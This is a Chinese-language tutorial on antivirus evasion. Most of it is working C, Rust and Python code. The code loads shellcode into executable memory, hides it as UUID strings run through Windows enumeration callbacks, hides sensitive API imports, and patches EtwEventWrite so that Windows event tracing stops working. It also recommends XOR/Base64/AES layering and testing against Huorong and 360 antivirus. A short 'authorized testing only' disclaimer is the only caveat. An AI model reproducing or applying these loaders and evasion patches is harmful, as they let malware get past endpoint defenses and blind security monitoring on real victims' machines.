免杀初步学习(一)
字数 1549 2025-08-06 12:20:41

免杀技术初步学习与实现指南

一、内存执行Shellcode基础

1. 函数指针原理

函数指针是执行Shellcode的核心机制,其定义格式为:

函数返回值类型 (*指针变量名)(函数参数列表);

例如:

int (*p)(int, int);

2. 基本执行方法

通过函数指针调用函数的示例:

#include <iostream>
#include <windows.h>

void print() {
    std::cout << "123";
}

int main() {
    void (*p)();
    p = print;
    p();
}

3. 结合VirtualAlloc执行Shellcode

Windows API关键函数:

  • VirtualAlloc: 分配可执行内存
  • memcpy: 复制Shellcode到内存
  • 函数指针转换执行

C语言实现示例:

unsigned char shellcode[] = "\x00";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void (*)())exec)();

4. Rust实现基础Shellcode加载器

完整Rust实现代码:

use std::mem;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
use winapi::um::winnt::{MEM_COMMIT, PAGE_EXECUTE_READWRITE};
use hex;

fn StrToU8Array(str: &str) -> Vec<u8> {
    let hex_string = str.replace("\\x", "");
    let bytes = hex::decode(hex_string).unwrap();
    bytes.to_vec()
}

fn main() {
    let shellcode = StrToU8Array("\\xfc\\x48\\x83..."); // 完整Shellcode
    
    // 分配可执行内存
    let exec = unsafe { VirtualAlloc(0 as _, shellcode.len(), MEM_COMMIT, PAGE_EXECUTE_READWRITE) };
    
    // 复制Shellcode到内存
    unsafe {
        let ptr = exec as *mut u8;
        std::ptr::copy_nonoverlapping(shellcode.as_ptr(), ptr, shellcode.len());
    }
    
    // 设置内存保护属性
    let mut old_protect: u32 = 0;
    unsafe {
        winapi::um::memoryapi::VirtualProtect(
            exec as _,
            shellcode.len(),
            PAGE_EXECUTE_READWRITE,
            &mut old_protect,
        );
    }
    
    // 执行Shellcode
    let f: fn();
    unsafe { f = mem::transmute(exec) };
    f();
    
    // 释放内存
    unsafe {
        winapi::um::memoryapi::VirtualFree(exec, 0, winapi::um::winnt::MEM_RELEASE);
    }
}

二、Shellcode混淆技术

1. 常见混淆方法

  • Base64编码
  • XOR加密
  • AES加密
  • RC4加密
  • 添加随机字符
  • 字符串变形
  • 多种方法组合使用

2. 推荐组合方案

XOR + Base64 + AES 三重混淆

三、UUID加载Shellcode技术

1. UUID基础

  • 128位唯一标识符
  • 格式示例:{21EC2020-3AEA-1069-A2DD-08002B30309D}
  • 可通过API转换为二进制数据

2. 关键Windows API

  • UuidFromStringA: 将UUID字符串转换为二进制数据
  • EnumSystemLocalesA: 通过回调函数执行代码

3. 实现原理

  1. 创建并分配堆内存(HeapCreateHeapAlloc
  2. 将UUID加密的Shellcode写入堆内存
  3. 通过回调函数触发执行Shellcode

4. Python转换Shellcode为UUID

from uuid import UUID

def convertToUUID(shellcode):
    if len(shellcode) % 16 != 0:
        addNullbyte = b"\x00" * (16 - (len(shellcode) % 16))
        shellcode += addNullbyte
    
    uuids = []
    for i in range(0, len(shellcode), 16):
        uuidString = str(UUID(bytes_le=shellcode[i:i+16]))
        uuids.append(uuidString.replace("'", "\""))
    return uuids

5. Rust实现UUID加载器

pub fn UUidLoderAndObfuscation(code: &Vec<&str>) {
    let uuids = code;
    let hc = unsafe { HeapCreate(0x00040000, 0, 0) }; // 获取可执行句柄
    let ha = unsafe { HeapAlloc(hc, 0, 0x001000) }; // 申请堆空间
    
    let mut hptr = ha as usize;
    let elems = uuids.len();
    
    for i in 0..elems {
        let status = unsafe { WriteUuidStringToMemory(uuids[i], hptr as *mut u8) };
        hptr += 16 as usize;
    }
    
    unsafe {
        EnumSystemLocalesA(Some(std::mem::transmute(ha)), 0); // 执行Shellcode
        HeapFree(hc, 0, ha);
    }
}

6. 替代回调函数

EnumSystemLocalesA外,还可使用:

  • EnumTimeFormatsA
  • EnumWindows
  • EnumDesktopWindows
  • EnumDateFormatsA
  • EnumChildWindows
  • EnumThreadWindows
  • EnumSystemGeoID
  • EnumSystemLanguageGroupsA
  • EnumUILanguagesA
  • EnumSystemCodePagesA
  • EnumDesktopsW
  • EnumSystemCodePagesW

四、导入表混淆技术

1. 基本原理

隐藏敏感API调用(如VirtualAlloc),通过动态获取函数地址调用

2. C++实现示例

typedef VOID*(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
pVirtualAlloc fnVirtualProtect;

unsigned char sVirtualProtect[] = {'V','i','r','t','u','a','l','A','l','l','o','c',0x0};
unsigned char sKernel32[] = {'k','e','r','n','e','l','3','2','.','d','l','l',0x0};

fnVirtualProtect = (pVirtualAlloc)GetProcAddress(GetModuleHandle((LPCSTR)sKernel32), (LPCSTR)sVirtualProtect);
void* exec = fnVirtualProtect(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

3. Rust实现

type VirtualAllocFn = unsafe extern "system" fn(
    lpAddress: *mut winapi::ctypes::c_void,
    dwSize: usize,
    flAllocationType: u32,
    flProtect: u32,
) -> *mut winapi::ctypes::c_void;

let sNtdllname = hex::decode("734e74646c6c").expect("");
let Ntname = hex::decode("4e7450726f746563745669727475616c4d656d6f7279").expect("");
let kernel32 = CString::new(sNtdllname).expect("CString::new failed");
let virtual_alloc = CString::new(Ntname).expect("CString::new failed");

let h_module = unsafe { GetModuleHandleA(kernel32.as_ptr()) };
let oNtVirtual = unsafe { 
    mem::transmute::<*const (), TNtVirtual>(
        GetProcAddress(h_module, virtual_alloc.as_ptr()) as *const ()
    ) 
};

五、禁用Windows事件跟踪(ETW)

1. ETW原理

Windows事件追踪功能,安全产品常用,位于ntdll.dll

2. 禁用方法

Hook EtwEventWrite函数,修改第一行汇编为0xc3(ret指令)

3. 关键API

  • NtProtectVirtualMemory: 修改内存保护属性
  • FlushInstructionCache: 刷新指令缓存

4. Rust实现

fn disableETW() {
    let patch: &[u8; 4] = &[0x48, 0x33, 0xc0, 0xc3]; // xor rax, rax; ret
    let mut old_protect: ULONG = 0;
    let size: usize = patch.len();
    let h_current_proc = unsafe { GetCurrentProcess() };
    
    // 获取函数地址
    let s_etw_event_write_name = CString::new(hex::decode("4574774576656e745772697465").expect("")).expect("");
    let ntdlName = CString::new(hex::decode("6e74646c6c2e646c6c").expect("")).expect("");
    let ntProName = CString::new(hex::decode("4e7450726f746563745669727475616c4d656d6f7279").expect("")).expect("");
    
    let h_ntdll = unsafe { GetModuleHandleA(ntdlName.as_ptr() as *const i8) };
    let p_event_write = unsafe { 
        GetProcAddress(h_ntdll, s_etw_event_write_name.as_ptr() as *const i8) 
    } as *const ();
    
    // 修改内存属性并打补丁
    unsafe {
        let far_proc = GetProcAddress(h_ntdll, ntProName.as_ptr() as *const i8) as *const ();
        let o_nt_virtual = mem::transmute::<*const (), TNtVirtual>(far_proc);
        
        o_nt_virtual(
            h_current_proc,
            p_event_write as *mut PVOID,
            size as *mut usize,
            PAGE_READWRITE,
            &mut old_protect,
        );
        
        WriteProcessMemory(
            h_current_proc,
            p_event_write as *mut c_void,
            patch.as_ptr() as LPVOID,
            size,
            &mut old_protect as *mut _ as *mut usize,
        );
        
        o_nt_virtual(
            h_current_proc,
            p_event_write as *mut PVOID,
            size as *mut usize,
            old_protect,
            &mut old_protect,
        );
        
        FlushInstructionCache(h_current_proc, p_event_write as *const _, size);
    }
}

六、综合免杀方案

  1. 对Shellcode进行多重混淆(XOR+Base64+AES)
  2. 使用UUID或替代方式加载Shellcode
  3. 混淆导入表,动态获取API地址
  4. 禁用ETW等监控功能
  5. 使用Rust等较少被检测的语言实现

七、测试与验证

测试环境:

  • 火绒杀毒软件
  • 360安全卫士

验证方法:

  1. 编译生成可执行文件
  2. 使用杀毒软件扫描
  3. 实际运行测试功能
  4. 检查是否触发安全警报

八、注意事项

  1. 仅用于合法授权的安全测试
  2. 实际效果可能因杀毒软件版本不同而异
  3. 需要持续更新对抗新的检测技术
  4. 建议结合其他免杀技术使用
  5. 注意内存释放,避免内存泄漏

九、参考资源

  1. Windows API文档(MSDN)
  2. Rust官方文档
  3. 安全研究社区文章(如tttang.com)
  4. 开源免杀项目代码
  5. 杀毒软件检测机制分析
免杀技术初步学习与实现指南 一、内存执行Shellcode基础 1. 函数指针原理 函数指针是执行Shellcode的核心机制,其定义格式为: 例如: 2. 基本执行方法 通过函数指针调用函数的示例: 3. 结合VirtualAlloc执行Shellcode Windows API关键函数: VirtualAlloc : 分配可执行内存 memcpy : 复制Shellcode到内存 函数指针转换执行 C语言实现示例: 4. Rust实现基础Shellcode加载器 完整Rust实现代码: 二、Shellcode混淆技术 1. 常见混淆方法 Base64编码 XOR加密 AES加密 RC4加密 添加随机字符 字符串变形 多种方法组合使用 2. 推荐组合方案 XOR + Base64 + AES 三重混淆 三、UUID加载Shellcode技术 1. UUID基础 128位唯一标识符 格式示例: {21EC2020-3AEA-1069-A2DD-08002B30309D} 可通过API转换为二进制数据 2. 关键Windows API UuidFromStringA : 将UUID字符串转换为二进制数据 EnumSystemLocalesA : 通过回调函数执行代码 3. 实现原理 创建并分配堆内存( HeapCreate 和 HeapAlloc ) 将UUID加密的Shellcode写入堆内存 通过回调函数触发执行Shellcode 4. Python转换Shellcode为UUID 5. Rust实现UUID加载器 6. 替代回调函数 除 EnumSystemLocalesA 外,还可使用: EnumTimeFormatsA EnumWindows EnumDesktopWindows EnumDateFormatsA EnumChildWindows EnumThreadWindows EnumSystemGeoID EnumSystemLanguageGroupsA EnumUILanguagesA EnumSystemCodePagesA EnumDesktopsW EnumSystemCodePagesW 四、导入表混淆技术 1. 基本原理 隐藏敏感API调用(如 VirtualAlloc ),通过动态获取函数地址调用 2. C++实现示例 3. Rust实现 五、禁用Windows事件跟踪(ETW) 1. ETW原理 Windows事件追踪功能,安全产品常用,位于 ntdll.dll 中 2. 禁用方法 Hook EtwEventWrite 函数,修改第一行汇编为 0xc3 (ret指令) 3. 关键API NtProtectVirtualMemory : 修改内存保护属性 FlushInstructionCache : 刷新指令缓存 4. Rust实现 六、综合免杀方案 对Shellcode进行多重混淆(XOR+Base64+AES) 使用UUID或替代方式加载Shellcode 混淆导入表,动态获取API地址 禁用ETW等监控功能 使用Rust等较少被检测的语言实现 七、测试与验证 测试环境: 火绒杀毒软件 360安全卫士 验证方法: 编译生成可执行文件 使用杀毒软件扫描 实际运行测试功能 检查是否触发安全警报 八、注意事项 仅用于合法授权的安全测试 实际效果可能因杀毒软件版本不同而异 需要持续更新对抗新的检测技术 建议结合其他免杀技术使用 注意内存释放,避免内存泄漏 九、参考资源 Windows API文档(MSDN) Rust官方文档 安全研究社区文章(如tttang.com) 开源免杀项目代码 杀毒软件检测机制分析